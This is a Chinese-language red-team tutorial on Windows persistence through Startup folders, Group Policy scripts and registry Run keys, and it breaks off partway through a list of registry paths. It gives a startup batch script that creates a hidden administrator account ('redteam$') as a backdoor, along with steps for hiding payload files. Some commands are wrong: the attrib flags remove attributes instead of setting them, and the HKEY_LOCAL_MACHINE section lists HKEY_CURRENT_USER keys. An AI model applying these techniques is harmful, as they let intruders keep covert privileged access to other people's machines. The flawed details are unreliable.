红队笔记之巧用系统启动项玩转Windows权限维持

Windows中有很多自动启动程序的方法，这些方法稍加利用可以即可帮助我们完成Windows下的权限维持，下文将分别从启动文件夹利用，组策略利用，注册表利用分别展开

启动文件夹利用

启动文件夹利用思路较为简单，即将Payload文件放在启动文件夹，再利用文件隐藏技巧对Payload进行隐藏

所在位置

# 系统级自启动文件夹，需要System权限才能操作
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
# 用户级自启动文件夹，文件夹所属用户登录可以操作
C:\Users\${用户名}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

利用方法

1、将文件移植文件夹

2、对文件进行隐藏处理,如利用attrib为文件进行隐藏

attrib -S -A -H -R test.txt

更多文件隐藏技巧可以参考《红队笔记之文件隐藏技巧在Windows权限维持中的应用》

组策略的利用

组策略的利用方法与启动文件夹的利用思路基本一致，即在组策略中添加Payload，利用组策略的自启动策略来加载Payload文件

所在位置

# 计算机启动时加载
C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup
# 计算机关闭时加载
C:\Windows\System32\GroupPolicy\Machine\Scripts\Shutdown
# 只针对用户添加启动项
C:\Windows\System32\GroupPolicy\User\Scripts\Logon
C:\Windows\System32\GroupPolicy\User\Scripts\Logoff

利用方法

1、在启动项中添加启动脚本，如

# 将下面作为bat文件，添加到启动项中
echo off
net user redteam$ redteam /add
net localgroup administrators redteam$ /add
exit

注册表利用

所在位置

Windows注册表存在的自启动后门较多，此类后门主要利用原理为将Payload文件植入具备自启动特性的注册表中，这样Payload就会在计算机启动过程被执行。此处以较为经典的两类自启动项进行说明演示。

注册表位置说明

# HKEY_LOCAL_MACHINE类
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
# HKEY_CURRENT_USER类
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\